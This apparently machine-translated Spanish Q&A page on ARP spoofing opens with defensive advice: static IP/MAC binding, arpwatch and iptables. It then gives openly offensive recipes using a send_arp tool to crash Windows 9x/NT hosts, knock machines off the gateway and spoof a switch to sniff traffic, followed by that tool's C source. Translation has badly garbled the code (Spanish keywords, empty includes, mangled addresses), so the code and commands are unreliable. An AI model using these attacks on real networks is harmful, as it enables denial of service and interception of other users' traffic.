Colección de citas famosas - Consulta de diccionarios - ¿Es un virus que provoca acceso intermitente a Internet? Somos una red de área local. ¿Cómo debemos matar los virus?

¿Es un virus que provoca acceso intermitente a Internet? Somos una red de área local. ¿Cómo debemos matar los virus?

¡El 90% son trampas de RPC!

(1) El uso del enlace IP->MAC (ARP estático) puede resolver este problema.

Para ataques de suplantación de identidad arp,

Dirección IP y mac de enlace estático en el servidor Linux:

#/usr/sbin/ARP-s 192.168 . * *:* * *:* * * * * (Es su propia tarjeta de red MAC, Ifconfig la verá).

De esta manera, su servidor no modificará la dirección mac 192.168.0.254 cuando sea atacado por arp spoofing. Cuando otras computadoras consulten al mac de esta IP, responderá correctamente. Pero en este momento, otras computadoras también están bajo ataque, por lo que el caché arp de cada computadora tendrá la dirección mac 192 5438+068.0.254, por lo que no se emitirá la consulta arp, pero esta dirección mac falsificada se usará directamente. , por lo que estas computadoras aún no podrán encontrar la puerta de entrada a Internet.

Entonces, necesitas encontrar al atacante en tu LAN. Ejecute tcpdump, dsniff o arpwatch en el servidor (recomendado). Descubra quién está llevando a cabo ataques de suplantación de identidad arp (el hombre sabrá los detalles de inmediato). También puede recopilar direcciones MAC, números, listas y derechos de control de todas las máquinas. Cuando encuentre un ataque de suplantación de identidad, simplemente haga ping a la IP atacada, luego arp -a, busque la dirección mac de la IP atacada, correspondiente a su lista de mac, luego...

También puede reenviar IP. habilitado de forma predeterminada en cada máquina, de modo que incluso si lo engañan, puede acceder a Internet. Sin embargo, aquellos que envían contraseñas en texto claro, como telnet, son fácilmente rastreados.

Reimpreso "Linux implementa enlace ip y mac"/article/OS/Linux/200312/266.

En algunos sistemas, es necesario que algunas direcciones IP de la intranet estén conectadas a Internet, pero se espera que estas direcciones IP no sean robadas por usuarios ilegales. Esto se puede lograr con las siguientes soluciones:

Primero, use ipchains o iptables para configurar solo direcciones IP legales para conectarse.

Establecer IP/Mac vinculante para IP legal. Para discutir este tema, primero debemos comprender el principio de funcionamiento del protocolo ARP. El protocolo ARP es la abreviatura de Protocolo de resolución de direcciones. Su función y principio de funcionamiento son los siguientes:

En la comunicación de red subyacente, si dos nodos quieren comunicarse entre sí, primero deben conocer las direcciones MAC de origen y destino. Para permitir que el sistema encuentre rápidamente la dirección MAC de un nodo remoto, cada núcleo local mantiene una tabla de búsqueda sobre la marcha (llamada caché ARP). Hay una lista en ARP que asigna la dirección IP de un host remoto a su dirección MAC correspondiente. La caché del Protocolo de resolución de direcciones (ARP) es una estructura de datos residente en la memoria cuyo contenido es administrado y mantenido por el núcleo del sistema local. De forma predeterminada, las direcciones IP (y las direcciones MAC correspondientes) de los nodos con los que el sistema local se ha comunicado en los últimos diez minutos permanecen en la caché ARP.

No hay ningún problema al convertir la dirección IP del nodo remoto a una dirección MAC cuando la dirección MAC del host remoto está presente en la caché ARP del host local. Sin embargo, en muchos casos, la dirección MAC del host remoto no existe en la caché ARP local. ¿Qué hará el sistema? Cuando se conoce la dirección IP del host remoto, pero la dirección MAC no está en la caché ARP local, utilice el siguiente proceso para obtener la dirección MAC del nodo remoto: El host local envía un paquete de difusión a todos los nodos de la red para preguntar si hay una dirección IP correspondiente. Un nodo (y sólo uno) responderá a este mensaje de difusión ARP. La dirección MAC del host remoto se incluirá en el paquete de respuesta. Después de recibir este paquete de devolución, el nodo local registrará la dirección MAC del nodo remoto en la caché ARP local.

Si configuramos la correspondencia IP/mac para que sea fija, es decir, configuramos una correspondencia mac estática para esas direcciones IP legales, incluso si los usuarios ilegales roban direcciones IP, el enrutador Linux responderá a estas IPs Al enviar una solicitud de conexión, no solicitará su dirección MAC a través del protocolo arp, sino que utilizará la dirección MAC estática establecida por Linux y enviará datos de respuesta, las personas que roben la IP no obtendrán la. datos de respuesta y no puede utilizar los servicios de red.

El método para establecer un enlace IP/MAC estático es crear el archivo /etc/ether. Este archivo contiene la correspondencia IP/MAC correcta y el formato es el siguiente:

192.168. .2 32 08:00 4E:B0:24:47

Luego /etc/rc.d/rc.local, y finalmente agregue:

arp -f

Simplemente hazlo

Las iptables del kernel 2.4 pueden limitar IP y Mac al mismo tiempo, y usan esta función para limitar la dirección IP y la dirección Mac de las reglas IP legales.

(2)

La máquina atacada: 10.5.4.178.

Dirección de hardware: 52:54:4C:98:EE:2F.

Mi máquina::10.5.3.69

Dirección de hardware: 52:54:4C:98:ED:C5.

Puerta de enlace: 10.5.0.3

Dirección de hardware: 00:90:26:3D:0C:F3

Máquina en el otro puerto del switch: 10.5 .3.3

Dirección de hardware: 52:54:4C:98:ED:F7.

Uno: use ARP para descifrar el protector de pantalla de WINDOWS.

Principio: El nivel de conflicto de IP es mayor que el del protector de pantalla. Cuando haya un conflicto,

aparecerá el protector de pantalla.

Clave: El número de paquetes ARP es el adecuado.

[herramientas root@sztcww]#. /send _ ARP 10 . 5 4 . 178 00:90:26:3D:0C:F3 \

2F 40 minutos

Dos: el uso de ARP provoca conflictos de IP y fallas.

Principio: WINDOWS 9X y NT4 no pueden manejar conflictos de IP, lo que provoca fallos.

Nota: Para WINDOWS 2K, LINUX es equivalente a la inundación, pero es mejor que la inundación normal.

Mucho más eficaz. Para LINUX, el sistema es significativamente más lento.

[herramientas root@sztcww]#. /send _ ARP 10 . 5 4 178 00:90:26:3D:0C:F3 \

2F 999999999

En tercer lugar, usar ARP para falsificar la puerta de enlace provocará que LAN. Una computadora dentro de la puerta de enlace saliente.

Principio: Utilice el paquete de respuesta ARP para actualizar la máquina correspondiente para que no pueda apagarse.

[herramientas root@sztcww]#. /enviar _ ARP 10 5 4 . /p>

Nota: si el comando anterior solo funciona durante unos segundos, el ARP en la máquina de puerta de enlace

La máquina atacada vaciará el caché correctamente, siempre y cuando...

Cuatro: usando ARP para falsificar el interruptor, puede monitorear la máquina en el otro extremo del interruptor.

Es posible que necesites modificar send_arp.c para construir el siguiente paquete.

ethhdr

srchw:52:54:4C:98:ED:F7 ->dst HW:FF:FF:FF:FF:FF:FF:FF:FF proto: 806h

arphdr

Tipo de HW:1 protocolo:800h HW _ tamaño: 6 pro _ tamaño: 4 op: 1

Editor: F7 Propiedad intelectual: 10.5 .3.3

d _ ha:00:00:00:00:00:00:00d _ IP:10 5 3 .

Entonces puedes olerlo.

Principio:

El switch tiene la función de memorizar direcciones MAC. Mantiene una lista de direcciones MAC y sus banners.

Así que primero puedes hacer un pequeño truco de ARP y luego podrás escuchar.

Sin embargo, cabe señalar que después de la suplantación, la misma dirección MAC tiene dos números de puerto.

Ge Yuan dijo: "Esto es en realidad un problema de competencia".

Parece que después de ARP, tendrá algún impacto en toda la red, pero no estoy seguro.

Dado que es una competencia, el monitoreo solo puede monitorear parte del juego, a diferencia del monitoreo en el mismo centro.

Esto afecta al oyente porque pierde algunos datos.

Por supuesto, existen otras aplicaciones que requieren la cooperación de otras tecnologías.

El siguiente es el programa fuente de send_arp.c

Código:

/*

Este programa envía un mensaje con fuente/ paquete IP ARP de destino

y la dirección de hardware Ethernet cargada por el usuario. Se compila y funciona en Linux y probablemente en cualquier Unix que tenga SOCK_PACKET.

[Correo electrónico]volo buev @ t 1 . chem . edu[/email]

*/

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#incluye

#define ADDR EN 6 Politécnico Federal

#define IP_ADDR_EN 4

#define ARP_FRAME_TYPE 0x0806

#Define ETHER_HW_TYPE 1

#Definir IP_PROTO_TYPE 0x0800

#Definir OP_ARP_REQUEST 2

#definir OP_ARP_QUEST 1

#Definir dispositivo predeterminado "eth0"

uso de caracteres[] = {"send_arp: envía un paquete arp personalizado.

Yuri Vorobuev

Uso: send_ARP src_IP_addr src_HW_addr targ_IP_addr tar_HW_addr número "};

Estructura arp_packet

{

u _ char targ _ HW _ addr[ETH _ HW _ ADDR _ LEN]

u _ char src _ HW _ addr[ETH _ HW _ ADDR _ LEN];

u _short frame_type;

u _ short hw _ tipo

u _ short prot _ tipo

u _ char hw _ addr _ size

u _ char prot _ addr _ size

u _ short op

u_char sndr_HW_addr[ETH_HW_ADDR_LEN];

u_char sndr_IP_addr[IP_ADDR_LEN];

u _ char rcpt _ HW _ addr[ETH _ HW _ ADDR _ LEN];

u _ char rcpt _ IP _ addr[IP _ ADDR _ LEN];

u _ char padding; [18];

};

Molde vacío (char *);

void get_ip_addr (struct in_addr *, char *);

void get_hw_addr (char *, char *);

int main (int argc, char * argv[])

{

struct in_addr src_in_addr, targ_in_addr

struct arp _ paquete pkt

struct sockaddr sa

int sock

int j, número

if (argc != 6)

die(uso);

calcetín = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));

if(calcetín & lt; 0)

{

error("socket");

Salir(1);

}

número = atoi(argv[5]);

PKT . FRAME _ TYPE = htons(ARP _ FRAME _ TYPE);

PKT . (ETHER _ HW _ TYPE);

PKT . prot _ TYPE = htons(IP _ PROTO _ TYPE);

PKT . >

PKT . prot _ addr _ size = IP _ ADDR _ LEN;

PKT OP = htons(OP _ ARP _ QUEST

get_hw_addr(pkt.targ_hw_addr); , argv[4]);

get_hw_addr(pkt.rcpt_hw_addr, argv[4]);

get_hw_addr(pkt.src_hw_addr, argv[2]);

get_hw_addr(pkt.sndr_hw_addr, argv[2]);

Obtener dirección IP (& ampsrc_in_addr, argv[1]);

Obtener dirección IP (&targ_in_addr, argv[3 ]);

memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);

memcpy(pkt. rcpt_ip_addr, & amptarg_in_addr, IP_ADDR_LEN);

bzero(pkt .padding, 18);

strcpy(sa.sa_data, DEFAULT_DEVICE);

for(j = 0; j {

if (sendto(sock, &sizeof(pkt),0 &sa,sizeof(sa))<0)

{

error(“enviar a”);

Salir (1);

}

}

Salir(0);

}

Vaciar molde ( carácter * cadena)

{

fprintf(stderr , " %s\n ", str

Salir (1); p>}

void get _ IP _ addr(struct in _ addr * in _ addr, char *str)

{

struct hostent * hostp

in _ addr->s _ addr = inet _ addr(str );

if(in _ addr-& gt; s_addr == -1)

{

if ((hostp = gethostbyname(str)))

bcopy(hostp->h_addr, in_addr, hostp->h_length);

else {

fprintf(stderr, " send_arp :Host desconocido %s\n ", str

Salir (1); /p>

}

}

p>

void get_hw_addr (char *buf, char *str)

{

int I;

char c, val

for(I = 0;i<ETH_HW_ADDR_Lun;i++)

{

if (! (c = tolower(*str++)))

die("Dirección de hardware no válida");

if (isdigit(c))

val = c -' 0 ';

else if(c & gt;= ' a ' & amp& ampc & lt= 'f ')

val = c-' a '+10;

Otro

die("Dirección de hardware no válida");

* buf = val & lt& lt4;

if (!( c = tolower(*str++)))

die("Dirección de hardware no válida");

if (isdigit(c))

val = c- ' 0 ';

else if(c & gt;= ' a ' & amp& ampc & lt= 'f ')

val = c-' a '+10;

Otro

die("Dirección de hardware no válida");

* buf++ = val;

if (*str == ' :')

str++;

}

}